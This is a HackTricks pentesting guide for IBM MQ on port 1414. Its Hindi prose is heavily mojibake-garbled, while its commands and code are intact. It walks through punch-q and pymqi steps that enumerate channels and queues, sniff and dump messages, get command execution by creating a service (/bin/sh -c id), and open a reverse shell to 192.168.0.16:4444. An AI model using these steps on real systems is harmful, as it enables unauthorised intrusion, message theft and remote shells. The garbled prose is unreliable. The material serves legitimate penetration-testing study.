hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

25 KiB
Raw Blame History

1414 - Pentesting IBM MQ

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic information

IBM MQ рдПрдХ IBM рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рд╕рдВрджреЗрд╢ рдХрддрд╛рд░реЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддреА рд╣реИред рдЕрдиреНрдп message broker рддрдХрдиреАрдХреЛрдВ рдХреА рддрд░рд╣, рдпрд╣ рдЙрддреНрдкрд╛рджрдХреЛрдВ рдФрд░ рдЙрдкрднреЛрдХреНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ, рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ, рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╡рд░реНрдЧреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ IBM MQ TCP рдкреЛрд░реНрдЯ 1414 рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдХрднреА-рдХрднреА, HTTP REST API рдкреЛрд░реНрдЯ 9443 рдкрд░ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдореЗрдЯреНрд░рд┐рдХреНрд╕ (Prometheus) рдХреЛ TCP рдкреЛрд░реНрдЯ 9157 рд╕реЗ рднреА рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

IBM MQ TCP рдкреЛрд░реНрдЯ 1414 рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрджреЗрд╢реЛрдВ, рдХрддрд╛рд░реЛрдВ, рдЪреИрдирд▓реЛрдВ, ... рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреАред

IBM рдПрдХ рдмрдбрд╝рд╛ рддрдХрдиреАрдХреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ https://www.ibm.com/docs/en/ibm-mq рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред

Tools

рдЖрд╕рд╛рди рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрдЭрд╛рдпрд╛ рдЧрдпрд╛ рдЙрдкрдХрд░рдг рд╣реИ punch-q, рдЬрд┐рд╕рдореЗрдВ Docker рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЙрдкрдХрд░рдг рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ Python рдкреБрд╕реНрддрдХрд╛рд▓рдп pymqi рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред

рдПрдХ рдЕрдзрд┐рдХ рдореИрдиреБрдЕрд▓ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд▓рд┐рдП, Python рдкреБрд╕реНрддрдХрд╛рд▓рдп pymqi рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред IBM MQ dependencies рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

Installing pymqi

IBM MQ dependencies рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдФрд░ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  1. https://login.ibm.com/ рдкрд░ рдПрдХ рдЦрд╛рддрд╛ (IBMid) рдмрдирд╛рдПрдВред
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc рд╕реЗ IBM MQ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред Linux x86_64 рдХреЗ рд▓рд┐рдП рдпрд╣ 9.0.0.4-IBM-MQC-LinuxX64.tar.gz рд╣реИред
  3. рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░реЗрдВ (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)ред
  4. рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╢рд░реНрддреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП sudo ./mqlicense.sh рдЪрд▓рд╛рдПрдВред

рдпрджрд┐ рдЖрдк Kali Linux рдкрд░ рд╣реИрдВ, рддреЛ рдлрд╝рд╛рдЗрд▓ mqlicense.sh рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ: рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ/рдХрдореЗрдВрдЯ рдХрд░реЗрдВ (рдкрдВрдХреНрддрд┐рдпреЛрдВ 105-110 рдХреЗ рдмреАрдЪ):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. рдлрд┐рд░, рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ .so рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ LD рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ: export LD_LIBRARY_PATH=/opt/mqm/lib64, рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдЗрди рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗред

рдлрд┐рд░, рдЖрдк рдкреНрд░реЛрдЬреЗрдХреНрдЯ pymqi рдХреЛ рдХреНрд▓реЛрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдЗрд╕рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ, рд╕реНрдерд┐рд░рд╛рдВрдХ, ... рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╛ рдЖрдк рд╕реАрдзреЗ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: pip install pymqiред

Using punch-q

With Docker

рдмрд╕ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: sudo docker run --rm -ti leonjza/punch-qред

Without Docker

рдкреНрд░реЛрдЬреЗрдХреНрдЯ punch-q рдХреЛ рдХреНрд▓реЛрди рдХрд░реЗрдВ рдлрд┐рд░ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рд░реАрдбрдореА рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ (pip install -r requirements.txt && python3 setup.py install)ред

рдЗрд╕рдХреЗ рдмрд╛рдж, рдЗрд╕реЗ punch-q рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Enumeration

рдЖрдк punch-q рдпрд╛ pymqi рдХреЗ рд╕рд╛рде рдХреНрдпреВ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЪреИрдирд▓ рдФрд░ рдХреНрдпреВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Queue Manager

рдХрднреА-рдХрднреА, рдХреНрдпреВ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреЛрдИ рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q рдПрдХ рдЖрдВрддрд░рд┐рдХ (рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп) рд╢рдмреНрдж рд╕реВрдЪреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ рдореМрдЬреВрджрд╛ рдЪреИрдирд▓реЛрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрдкрдпреЛрдЧ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

рдпрд╣ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ IBM MQ рдЙрджрд╛рд╣рд░рдг рдЕрдкреНрд░рдорд╛рдгрд┐рдд MQ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП --username / --password рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдмреЗрд╢рдХ, рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рднреА рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

рдЬреИрд╕реЗ рд╣реА рд╣рдореЗрдВ рдПрдХ рдЪреИрдирд▓ рдирд╛рдо рдорд┐рд▓рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ: DEV.ADMIN.SVRCONN), рд╣рдо рд╕рднреА рдЕрдиреНрдп рдЪреИрдирд▓реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЧрдгрдирд╛ рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ code/examples/dis_channels.py рд╕реЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... рд▓реЗрдХрд┐рди punch-q рдЙрд╕ рднрд╛рдЧ рдХреЛ рднреА рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ (рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде!)ред
рдЗрд╕реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

рдПрдХ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ pymqi (dis_queues.py) рд▓реЗрдХрд┐рди punch-q рдХрддрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

рдЖрдк рдХрддрд╛рд░(реЛрдВ)/рдЪреИрдирд▓(реЛрдВ) рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдирд╕реЗ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╕реНрдирд┐рдлрд╝/рдбрдВрдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЧреИрд░-рдирд╛рд╢рдХ рдСрдкрд░реЗрд╢рди)ред Examples:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

рд╕рднреА рдкрд╣рдЪрд╛рдиреЗ рдЧрдП рдХрддрд╛рд░реЛрдВ рдкрд░ рджреЛрд╣рд░рд╛рдиреЗ рдореЗрдВ рд╕рдВрдХреЛрдЪ рди рдХрд░реЗрдВред

рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди

рдХреБрдЫ рд╡рд┐рд╡рд░рдг рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ: IBM MQ рдХреЛ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: MQSC, PCF, рдирд┐рдпрдВрддреНрд░рдг рдХрдорд╛рдВрдбред рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪрд┐рдпрд╛рдБ IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред PCF (рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдмрд▓ рдХрдорд╛рдВрдб рдлреЙрд░реНрдореЗрдЯреНрд╕) рдкрд░ рд╣рдо рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред punch-q рдФрд░ рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ pymqi PCF рдЗрдВрдЯрд░реИрдХреНрд╢рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИрдВред

рдЖрдк PCF рдХрдорд╛рдВрдб рдХреА рдПрдХ рд╕реВрдЪреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдХрдорд╛рдВрдб рд╣реИ MQCMD_CREATE_SERVICE рдФрд░ рдЗрд╕рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╣рд╛рдБ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдПрдХ StartCommand рдХреЛ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддрд╛ рд╣реИ рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдкрд░ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг: /bin/sh)ред

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдХрдорд╛рдВрдб рдХрд╛ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рднреА рд╣реИ: "рдзреНрдпрд╛рди рджреЗрдВ: рдпрд╣ рдХрдорд╛рдВрдб рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ mqm рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрджрд┐ рдЗрд╕ рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдпрд╛ рд▓рд╛рдкрд░рд╡рд╛рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рд╕реЗрд╡рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдпрд╛ рдбреЗрдЯрд╛ рдХреЛ рдиреБрдХрд╕рд╛рди рдкрд╣реБрдВрдЪрд╛рддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛рдХрд░ред"

рдиреЛрдЯ: рд╣рдореЗрд╢рд╛ IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (рдкреНрд░рд╢рд╛рд╕рди рд╕рдВрджрд░реНрдн) рдХреЗ рдЕрдиреБрд╕рд╛рд░, /admin/action/qmgr/{qmgrName}/mqsc рдкрд░ рдПрдХ HTTP рдПрдВрдбрдкреЙрдЗрдВрдЯ рднреА рд╣реИ рдЬреЛ рд╕реЗрд╡рд╛ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рд╕рдордХрдХреНрд╖ MQSC рдХрдорд╛рдВрдб (DEFINE SERVICE) рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ рдкрд╣рд▓реВ рдпрд╣рд╛рдБ рдЕрднреА рддрдХ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рджреВрд░рд╕реНрде рдкреНрд░реЛрдЧреНрд░рд╛рдо рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП PCF рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛ рдирд┐рд░реНрдорд╛рдг / рд╣рдЯрд╛рдиреЗ рдХреЛ punch-q рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдЙрджрд╛рд╣рд░рдг 1

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ рдХреЗ рд▓реЙрдЧ рдореЗрдВ, рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрдорд╛рдВрдб рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реБрдЖ рд╣реИ:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

рдЖрдк рдорд╢реАрди рдкрд░ рдореМрдЬреВрджрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рдЧрдгрдирд╛ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣рд╛рдБ /bin/doesnotexist ... рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ):

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЙрдиреНрдЪ рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рд╣реИред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджреВрд╕рд░рд╛ рдЖрдЗрдЯрдо рдЪрд╛рд╣рд┐рдП (рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рд▓рд┐рд╕реНрдирд░, рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдирд┐рд░реНрдорд╛рдг, рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд╕реА ...)

рдЙрджрд╛рд╣рд░рдг 2

рдЖрд╕рд╛рди рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП, punch-q рджреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреЗрд▓реЛрдб рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:

  • рдПрдХ bash рдХреЗ рд╕рд╛рде
  • рдПрдХ perl рдХреЗ рд╕рд╛рде

рдмрд┐рд▓реНрдХреБрд▓, рдЖрдк execute рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдХрд╕реНрдЯрдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

bash рдХреЗ рд▓рд┐рдП:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

perl рдХреЗ рд▓рд┐рдП:

тЭп sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

рдЖрдк IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ pymqi рдкрд╛рдпрдерди рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ punch-q рдореЗрдВ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рд╡рд┐рд╢рд┐рд╖реНрдЯ PCF рдХрдорд╛рдВрдб рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

рдпрджрд┐ рдЖрдк рд╕реНрдерд╛рдпреА рдирд╛рдо рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк IBM MQ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд╕рдВрджрд░реНрдн рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВред

